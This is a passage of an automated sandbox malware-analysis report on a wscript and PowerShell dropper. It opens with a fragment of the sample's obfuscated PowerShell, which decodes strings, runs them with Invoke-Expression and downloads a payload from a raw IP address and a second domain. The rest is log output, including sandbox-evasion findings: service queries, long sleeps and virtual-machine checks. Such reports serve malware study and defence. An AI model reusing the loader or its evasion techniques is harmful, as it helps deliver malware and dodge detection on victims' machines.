$Snakeflower=1;$Snakeflower -lt $Defrauding;$Snakeflower+=2){$unloveliness+=$Spaltedefinitionernes.$Genskabtes.Invoke( $Snakeflower, $Optionally);}$unloveliness;}function Diagonalgade209($Plejninger){ . ($Tantarabobus) ($Plejninger);}$Amtskommunaldirektrens=Nordvest61 ' MPo.zSiIlSlna,/S5 . 0U U(.WSiSn dSopwSs .NFTl 1D0O..0 ; sWOi nE6P4e;B CxO6E4N;S .rSvH:R1 2 1 . 0O)T .G eGc k oT/G2,0V1,0P0S1M0L1M fFTi r.e.fKoBxG/,1M2.1s.C0T ';$Ridestiernes=Nordvest61 'SUPs e,r - ASg,e,n,t. ';$Ristornos33=Nordvest61 ',h t,t p :./F/O1S0 3L.A1R9 5 . 2,3 7f. 4t3M/.MGa g,n e t,i s.e.r iJntg,eSr n eA.Gs.e a >FhStItApTse: /B/Sm i,lSa n a,cJe sB.Vc o m /uM aFg n,e,tui sFePr i n gNe rVnBeO.GsOeHa ';$Diftongeringerne=Nordvest61 '.>S ';$Tantarabobus=Nordvest61 '.iEe x ';$Mugningers157='Kalkulationskolonnernes';$Alluviate = Nordvest61 '.eNcPh.oK P%HaHp,p dPa tIaU%.\ PSaFrMaNp hPyLs i.f,eSrdo u.s ..MDaKk. h& &B eGc hMo Bt ';Diagonalgade209 (Nordvest61 'U$Sg.leo bRaUlM:,rRe k rPu t,sT=K(GcBm d F/ cI $ A,l.lSu vCi,aut e,) ');Diagonalgade209 (Nordvest61 'G$Cg,l,oBbAa l :PbOyAr,eUn.d eLr.n eAs,= $SR,iYs,t oMrLnTo s,3.3K.DsSp l,i t.( $TD isfFt o.nHgCe rUiun g,eOr.nReA)A ');Diagonalgade209 (Nordvest61 'R[ANBe,tA.PSTe rav,i cBeBP o i nAtMMaa,n aCgte,r,]I: :CS eMc,uSr i,t.y,PRrUo,t o cDoDl E=E M[PNOeGt..SSReDc.uMr i t yFPErMout,oBc,o lUTFy pOe ] :.:,T lEsU1U2 ');$Ristornos33=$byrendernes[0];$Konjunkturgevinsterne= (Nordvest61 'D$BgTl oPbEa.l :DUMnPsAubmTpSt.u,oHu.s.l y,=UN eOwK-fO.bFjSeSc tJ FS yCs tme,mF.PNNe.t .HWieLb C l iSeUn t');$Konjunkturgevinsterne+=$rekruts[1];Diagonalgade209 ($Konjunkturgevinsterne);Diagonalgade209 (Nordvest61 ' $ UEnUscuAmTp t.uUo uHsOl,y .UHCe a,dGeHr s [ $TRSiFdSeNs,t,i e,r n.e.s.] =,$UA,m tBs k oAmAmAu n,a,lHd,iRr e kSt rAe.nNsB ');$Packplane223=Nordvest61 ' $ U n s u m.pCt.u o uKs.l.yA.RDDoBwGnBlSoBakdSF iBl.eO( $FR iSs.tNo rSn,oPsM3U3.,O$.HDyUpUn oStAi sIe,r.ePs ) ';$Hypnotiseres=$rekruts[0];Diagonalgade209 (Nordvest61 ',$ gQl o b a.l :SkKlTa,pFsIaLl vReMnA= ( T eDsFtA-,PGaKt hI t$SH,y pHnsoBtSi s ePrCeFsP)V ');while (!$klapsalven) {Diagonalgade209 (Nord	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B870952 push E95B67D0h; ret	1_2_00007FFD9B8709C9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFD9B945479 push ebp; iretd	1_2_00007FFD9B945538
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_0487EC78 pushfd ; retf	4_2_0487EC79
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_04870EC9 push ebx; iretd	4_2_04870ECA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_076D1FB2 push eax; mov dword ptr [esp], ecx	4_2_076D21B4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_076D34A8 push eax; ret	4_2_076D34C1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_083736D9 push ebx; iretd	4_2_083736DA

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)

Source: C:\Windows\System32\wscript.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Service

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4542	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5341	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5474	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4285	Jump to behavior

Source: C:\Windows\System32\wscript.exe TID: 7364	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7580	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7720	Thread sleep count: 5474 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7704	Thread sleep count: 4285 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7748	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000002.1717425370.00000190BA1B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_ServiceStoppedOKvmicshutdownvmicshutdownUnknownUnknownUnknownWin32_ServiceWin32_ComputerSystemJONES-PCvmicshutdown
Source: wscript.exe, 00000000.00000003.1715143254.00000190BA1B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: wscript.exe, 00000000.00000002.1717425370.00000190BA1B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: wscript.exe, 00000000.00000003.1698591176.00000190BA0DA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1717268310.00000190BA0DA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1703727134.00000190BA0DA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1714186520.00000190BA0DA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1715740470.00000190BA0DA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1702645545.00000190BA0DA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWM
